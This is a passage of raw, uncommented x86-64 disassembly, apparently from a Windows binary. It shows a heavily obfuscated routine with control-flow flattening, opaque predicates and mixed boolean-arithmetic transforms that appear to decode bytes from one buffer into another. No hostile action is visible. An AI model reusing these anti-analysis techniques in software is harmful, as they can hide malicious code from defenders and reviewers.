movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 5]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x1400447a2
cmp ebx, 0x2d981d62
jne 0x140044740
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044740
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9 + 2], cl
lea rcx, [rax - 0x44]
mov qword [rbp + 0x80], rcx
mov ebx, 0x2d981d62
nop dword [rax + rax]
cmp ebx, 0xa47fcf0d
je 0x14004481e
cmp ebx, 0x2d981d62
jne 0x140044780
mov rcx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044780
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 4], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 5]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 6]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044862
cmp ebx, 0x2d981d62
jne 0x140044800
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044800
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9 + 3], cl
lea rcx, [rax + 8]
mov qword [rbp + 0x80], rcx
mov edi, 0x2d981d62
nop dword [rax + rax]
cmp edi, 0xa47fcf0d
je 0x1400448de
cmp edi, 0x2d981d62
jne 0x140044840
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044840
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 5], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 6]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 7]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044922
cmp ebx, 0x2d981d62
jne 0x1400448c0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x1400448c0
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 4], bl
lea rbx, [rax - 0x13]
mov qword [rbp + 0x80], rbx
mov edi, 0x2d981d62
nop dword [rax + rax]
cmp edi, 0xa47fcf0d
je 0x14004499e
cmp edi, 0x2d981d62
jne 0x140044900
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044900
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 6], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 7]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
xor rdx, rax
mov qword [rbp + 0x80], rdx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x1400449e2
cmp ebx, 0x2d981d62
jne 0x140044980
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044980
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 5], bl
lea rbx, [rax + 7]
mov qword [rbp + 0x80], rbx
mov edi, 0x2d981d62
nop dword [rax + rax]
cmp edi, 0xa47fcf0d
je 0x140044a5e
cmp edi, 0x2d981d62
jne 0x1400449c0
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x1400449c0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 7], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 8]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 1]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044aa2
cmp ebx, 0x2d981d62
jne 0x140044a40
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044a40
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 6], bl
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edi, 0xa47fcf0d
je 0x140044b1e
cmp edi, 0x2d981d62
jne 0x140044a80
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044a80
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 8], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 9]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 2]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044b62
cmp ebx, 0x2d981d62
jne 0x140044b00
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044b00
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 7], bl
lea rbx, [rax + 0xc]
mov qword [rbp + 0x80], rbx
mov esi, 0x2d981d62
nop dword [rax + rax]
cmp esi, 0xa47fcf0d
je 0x140044bde
cmp esi, 0x2d981d62
jne 0x140044b40
mov rdi, qword [rbp + 0x80]
mov esi, 0xa47fcf0d
jmp 0x140044b40
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 9], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xa]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 3]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044c22
cmp ebx, 0x2d981d62
jne 0x140044bc0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044bc0
mov byte [rbp + 0x40], dil
mov rdi, rax
mov al, byte [rbp + 0x40]
mov byte [r9 + 8], al
lea rax, [rdi + 0x17]
mov qword [rbp + 0x80], rax
mov esi, 0x2d981d62
nop dword [rax]
cmp esi, 0xa47fcf0d
je 0x140044c9e
cmp esi, 0x2d981d62
jne 0x140044c00
mov rdi, qword [rbp + 0x80]
mov esi, 0xa47fcf0d
jmp 0x140044c00
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xa], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xb]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xc]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044ce2
cmp ebx, 0x2d981d62
jne 0x140044c80
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044c80
mov byte [rbp + 0x40], dil
mov al, byte [rbp + 0x40]
mov byte [r9 + 9], al
mov qword [rbp + 0x80], rdx
mov edi, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edi, 0xa47fcf0d
je 0x140044d5e
cmp edi, 0x2d981d62
jne 0x140044cc0
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044cc0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xb], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xc]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xd]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044db2
cmp ebx, 0x2d981d62
jne 0x140044d40
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044d40
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xa], al
movabs rax, 0x6b06ab3281933593
add rax, 0x24
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xa47fcf0d
je 0x140044e2e
cmp edi, 0x2d981d62
jne 0x140044d90
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044d90
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xc], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xd]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xe]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044e72
cmp ebx, 0x2d981d62
jne 0x140044e10
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044e10
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xb], al
movabs rax, 0x6b06ab3281933593
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop
cmp edi, 0xa47fcf0d
je 0x140044eee
cmp edi, 0x2d981d62
jne 0x140044e50
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044e50
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xd], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xe]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xf]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044f32
cmp ebx, 0x2d981d62
jne 0x140044ed0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044ed0
mov byte [rbp + 0x40], dl
mov rdx, rax
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xc], al
lea rax, [rdx + 0x28]
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop dword [rax + rax]
cmp edi, 0xa47fcf0d
je 0x140044fae
cmp edi, 0x2d981d62
jne 0x140044f10
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x140044f10
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xe], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xf]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 8]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044ff2
cmp ebx, 0x2d981d62
jne 0x140044f90
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044f90
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xd], al
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp ebx, 0xa47fcf0d
je 0x14004506e
cmp ebx, 0x2d981d62
jne 0x140044fd0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044fd0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xf], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0x10]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 9]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x1400450b2
cmp ebx, 0x2d981d62
jne 0x140045050
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140045050
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xe], al
mov qword [rbp + 0x80], rcx
mov edx, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edx, 0xa47fcf0d
je 0x14004513e
cmp edx, 0x2d981d62
jne 0x140045090
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x140045090
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0x10], dl
add rcx, 0x11
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbp + 0x38]
movzx ecx, byte [rcx + 0x11]
movabs rdx, 0x579b2baeb51bdc4
sub rdx, rcx
movabs rbx, 0x408800008002134
and rdx, rbx
movabs rbx, 0x864d4514ae423b
add rcx, rbx
movabs rbx, 0x804000000042cb
and rcx, rbx
or rcx, rdx
lea rdx, [rax + 0xa]
xor rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edx, 0xa47fcf0d
je 0x14004518e
cmp edx, 0x2d981d62
jne 0x140045120
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x140045120
mov byte [rbp + 0x40], cl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xf], al
movabs rax, 0x6b06ab3281933593
add rax, 0xa
mov qword [rbp + 0x80], rax
mov edx, 0x2d981d62
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa47fcf0d
je 0x1400451c7
cmp edx, 0x2d981d62
jne 0x140045170
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x140045170
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [rbp + 0x68], cl
mov ecx, dword [0x1400611c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x671e6780
mov edx, 0xf36cac5f
cmovne ecx, edx
cmp dword [0x1400611cc], 0xa
mov edx, 0x671e6780
cmovl ecx, edx
jmp 0x140044290
mov byte [rbp + 0x40], cl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0x10], al
movabs rax, 0x6b06ab3281933593
add rax, 0xffffffffffffffaf
mov qword [rbp + 0x80], rax
mov edx, 0x2d981d62
nop dword [rax + rax]
cmp edx, 0xa47fcf0d
je 0x14004520e
cmp edx, 0x2d981d62
jne 0x1400451f0
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x1400451f0
mov byte [rbp + 0x40], cl
mov al, byte [rbp + 0x40]
mov ecx, 0xf1444cee
movabs rax, 0x6f8e6b3289935600
jmp 0x140044290
mov qword [rbp + 0x10], r9
mov eax, 0xdcf68662
jmp 0x140045259
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x616586f6
mov ecx, 0x6bf8a2e1
cmove eax, ecx
cmp dword [0x1400611d4], 0xa
cmovl eax, ecx
cmp eax, 0x3b717396
jle 0x1400452a0
cmp eax, 0x616586f5
jg 0x1400452c0
cmp eax, 0x3b717397
je 0x140045768
cmp eax, 0x5ca84ed3
jne 0x140045259
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x740697f
mov ecx, 0x146ff8c4
jmp 0x14004524c
cmp eax, 0x740697e
jg 0x140045753
cmp eax, 0xdcf68662
je 0x140045233
cmp eax, 0x69fe3b9
jne 0x140045259
mov eax, 0x3b717397
jmp 0x140045259
cmp eax, 0x616586f6
je 0x140045786
cmp eax, 0x6bf8a2e1
jne 0x140045259
mov rbx, qword [rbp + 0x10]
mov eax, 0x79eb7f5e
mov qword [rbp + 8], rbx
jmp 0x1400452f0
mov rax, qword [rbp + 0x68]
mov eax, 0x1c5311ff
nop word [rax + rax]
cmp eax, 0x1c5311fe
jg 0x140045330
cmp eax, 0xdc37527e
jle 0x140045370
cmp eax, 0xfb62902e
jg 0x1400453ec
cmp eax, 0xdc37527f
je 0x140045435
cmp eax, 0xf67b1067
jne 0x1400452f0
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x58], rax
mov eax, 0x43fdb90c
jmp 0x1400452f0
cmp eax, 0x52a30706
jle 0x1400453a0
cmp eax, 0x78b3e779
jg 0x14004540c
cmp eax, 0x52a30707
je 0x140045699
cmp eax, 0x7052d213
jne 0x1400452f0
cmp byte [rbp + 0x37], 0
mov eax, 0x9ac96c38
mov ecx, 0x52a30707
cmovne eax, ecx
jmp 0x1400452f0
cmp eax, 0x84014a92
je 0x1400452e1
cmp eax, 0x8bdb97f7
je 0x1400456b5
cmp eax, 0x9ac96c38
jne 0x1400452f0
mov rax, qword [rbp + 0x48]
mov eax, 0xfb62902f
jmp 0x1400452f0
cmp eax, 0x1c5311ff
je 0x1400456bf
cmp eax, 0x43fdb90c
je 0x140045702
cmp eax, 0x473294f0
jne 0x1400452f0
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84014a92
mov ecx, 0x1c5311ff
cmove eax, ecx
cmp dword [0x1400611dc], 0xa
cmovl eax, ecx
jmp 0x1400452f0
cmp eax, 0xfb62902f
je 0x140045714
cmp eax, 0x69fcfd8
jne 0x1400452f0
mov eax, 0x7052d213
jmp 0x1400452f0
cmp eax, 0x79eb7f5e
jne 0x140045722
lea rax, [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x58], 0
mov eax, 0x8bdb97f7
jmp 0x1400452f0
mov r10, qword [rbp + 0x28]
movzx r9d, byte [rbp + 0x67]
mov eax, dword [0x1400611e0]
mov ecx, dword [0x1400611e4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x76]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x77]
or cl, al
movabs rax, 0x1180e677953d772d
lea r15, [r10 + rax]
movabs rax, 0x6e7f19886ac288d2
sub rax, r10
movabs rdx, 0x9180e677953d772d
add r10, rdx
movabs rdx, 0xbd57bf853c9183ef
and rax, rdx
movabs rdx, 0x42a8407ac36e7c10
and r15, rdx
or r15, rax
mov r11, r15
movabs rax, 0x3d57bf853c9183ef
xor r11, rax
test cl, cl
mov esi, 0x626355b4
mov eax, 0x2b8b039c
cmovne esi, eax
mov r14d, 0x626355b4
mov eax, 0x3b28b0ea
cmovne r14d, eax
mov r12d, 0x353895e8
mov eax, 0xd449edf9
cmovne r12d, eax
mov ecx, 0x353895e8
mov eax, 0x26784271
cmovne ecx, eax
mov r13d, 0x3dd73c9
mov eax, 0x9a8ea3a7
cmovne r13d, eax
mov eax, 0xfe262633
jmp 0x140045540
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov eax, 0x26784271
nop dword [rax]
mov edi, eax
cmp eax, 0x1ea36a24
jle 0x140045580
cmp edi, 0x353895e7
jg 0x1400455b0
mov eax, ecx
cmp edi, 0x1ea36a25
je 0x140045540
cmp edi, 0x26784271
je 0x1400455fc
mov eax, edi
cmp edi, 0x2b8b039c
jne 0x140045540
mov eax, 0xac4b8031
jmp 0x140045540
cmp edi, 0xd449edf8
jle 0x1400455e2
mov eax, r14d
cmp edi, 0xd449edf9
je 0x140045540
cmp edi, 0xfe262633
je 0x140045625
mov eax, edi
cmp edi, 0x3dd73c9
jne 0x140045540
mov eax, 0x85ff027e
jmp 0x140045540
cmp edi, 0x353895e8
je 0x14004550b
mov eax, esi
cmp edi, 0x3b28b0ea
je 0x140045540
mov eax, edi
cmp edi, 0x626355b4
jne 0x140045540
mov eax, 0x3b28b0ea
jmp 0x140045540
cmp edi, 0x85ff027e
je 0x140045644
cmp edi, 0x9a8ea3a7
jne 0x140045650
mov eax, 0x1ea36a25
jmp 0x140045540
mov r8, qword [rbp + 0x50]
add r8, r10
mov rdx, qword [rbp + 0x50]
xor rdx, r15
movabs rax, 0x42a8407ac36e7c10
xor rdx, rax
and rdx, r11
add rdx, rdx
mov eax, r12d
jmp 0x140045540
movzx ebx, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov eax, 0x3dd73c9
mov edi, 0x85ff027e
cmovne eax, edi
test bl, bl
cmovne eax, edi
jmp 0x140045540
mov qword [rbp + 0x50], r9
mov eax, r13d
jmp 0x140045540
mov eax, edi
cmp edi, 0xac4b8031
jne 0x140045540
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xc5
mov rcx, qword [rbp + 0x58]
mov rbx, qword [rbp + 8]
mov byte [rbx + rcx], al
mov rax, qword [rbp + 0x58]
add rax, 1
mov qword [rbp + 0x38], rax
mov eax, 0xf67b1067
jmp 0x1400452f0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov al, byte [rbx + rax]
mov byte [rbp + 0x67], al
mov eax, 0xdc37527f
jmp 0x1400452f0
mov eax, 0x43fdb90c
jmp 0x1400452f0
mov rax, qword [rbp + 0x68]
cmp rax, 0x21
setb byte [rbp + 0x37]
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400611dc], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0x69fcfd8
mov ecx, 0x84014a92
cmovne eax, ecx
jmp 0x1400452f0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x68], rax
mov eax, 0x473294f0
jmp 0x1400452f0
mov qword [rbp + 0x40], rbx
mov eax, 0x78b3e77a
jmp 0x1400452f0
cmp eax, 0x78b3e77a
jne 0x1400452f0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x20], rax
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x616586f6
mov ecx, 0x69fe3b9
jmp 0x14004524c
cmp eax, 0x740697f
jne 0x140045bec
mov eax, 0x5ca84ed3
jmp 0x140045259
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x740697f
mov ecx, 0x5ca84ed3
jmp 0x14004524c
mov rbx, qword [rbp + 0x10]
mov eax, 0x79eb7f5e
mov qword [rbp + 8], rbx
jmp 0x1400457a0
mov rax, qword [rbp + 0x68]
mov eax, 0x1c5311ff
nop
cmp eax, 0x1c5311fe
jg 0x1400457e0
cmp eax, 0xdc37527e
jle 0x140045820
cmp eax, 0xfb62902e
jg 0x14004589c
cmp eax, 0xdc37527f
je 0x1400458e5
cmp eax, 0xf67b1067
jne 0x1400457a0
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x58], rax
mov eax, 0x43fdb90c
jmp 0x1400457a0
cmp eax, 0x52a30706
jle 0x140045850
cmp eax, 0x78b3e779
jg 0x1400458bc
cmp eax, 0x52a30707
je 0x140045b4a
cmp eax, 0x7052d213
jne 0x1400457a0
cmp byte [rbp + 0x37], 0
mov eax, 0x9ac96c38
mov ecx, 0x52a30707
cmovne eax, ecx
jmp 0x1400457a0
cmp eax, 0x84014a92
je 0x140045795
cmp eax, 0x8bdb97f7
je 0x140045b66
cmp eax, 0x9ac96c38
jne 0x1400457a0
mov rax, qword [rbp + 0x48]
mov eax, 0xfb62902f
jmp 0x1400457a0
cmp eax, 0x1c5311ff
je 0x140045b70
cmp eax, 0x43fdb90c
je 0x140045bb3
cmp eax, 0x473294f0
jne 0x1400457a0
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84014a92
mov ecx, 0x1c5311ff
cmove eax, ecx
cmp dword [0x1400611dc], 0xa
cmovl eax, ecx
jmp 0x1400457a0
cmp eax, 0xfb62902f
je 0x140045bc5
cmp eax, 0x69fcfd8
jne 0x1400457a0
mov eax, 0x7052d213
jmp 0x1400457a0
cmp eax, 0x79eb7f5e
jne 0x140045bd3
lea rax, [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x58], 0
mov eax, 0x8bdb97f7
jmp 0x1400457a0
mov r10, qword [rbp + 0x28]
movzx r9d, byte [rbp + 0x67]
mov eax, dword [0x1400611e0]
mov ecx, dword [0x1400611e4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x76]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x77]
or cl, al
movabs rax, 0x1180e677953d772d
lea r15, [r10 + rax]
movabs rax, 0x6e7f19886ac288d2
sub rax, r10
movabs rdx, 0x9180e677953d772d
add r10, rdx
movabs rdx, 0xbd57bf853c9183ef
and rax, rdx
movabs rdx, 0x42a8407ac36e7c10
and r15, rdx
or r15, rax
mov r11, r15
movabs rax, 0x3d57bf853c9183ef
xor r11, rax
test cl, cl
mov r14d, 0x626355b4
mov eax, 0x2b8b039c
cmovne r14d, eax
mov esi, 0x626355b4
mov eax, 0x3b28b0ea
cmovne esi, eax
mov r12d, 0x353895e8
mov eax, 0xd449edf9
cmovne r12d, eax
mov ecx, 0x353895e8
mov eax, 0x26784271
cmovne ecx, eax
mov r13d, 0x3dd73c9
mov eax, 0x9a8ea3a7
cmovne r13d, eax
mov eax, 0xfe262633
jmp 0x1400459f0
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov eax, 0x26784271
nop dword [rax]
mov edi, eax
cmp eax, 0x1ea36a24
jle 0x140045a30
cmp edi, 0x353895e7
jg 0x140045a60
mov eax, ecx
cmp edi, 0x1ea36a25
je 0x1400459f0
cmp edi, 0x26784271
je 0x140045aad
mov eax, edi
cmp edi, 0x2b8b039c
jne 0x1400459f0
mov eax, 0xac4b8031
jmp 0x1400459f0
cmp edi, 0xd449edf8
jle 0x140045a93
mov eax, esi
cmp edi, 0xd449edf9
je 0x1400459f0
cmp edi, 0xfe262633
je 0x140045ad6
mov eax, edi
cmp edi, 0x3dd73c9
jne 0x1400459f0
mov eax, 0x85ff027e
jmp 0x1400459f0
cmp edi, 0x353895e8
je 0x1400459bb
mov eax, r14d
cmp edi, 0x3b28b0ea
je 0x1400459f0
mov eax, edi
cmp edi, 0x626355b4
jne 0x1400459f0
mov eax, 0x3b28b0ea
jmp 0x1400459f0
cmp edi, 0x85ff027e
je 0x140045af5
cmp edi, 0x9a8ea3a7
jne 0x140045b01
mov eax, 0x1ea36a25
jmp 0x1400459f0
mov r8, qword [rbp + 0x50]
add r8, r10
mov rdx, qword [rbp + 0x50]
xor rdx, r15
movabs rax, 0x42a8407ac36e7c10
xor rdx, rax
and rdx, r11
add rdx, rdx
mov eax, r12d
jmp 0x1400459f0
movzx ebx, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov eax, 0x3dd73c9
mov edi, 0x85ff027e
cmovne eax, edi
test bl, bl
cmovne eax, edi
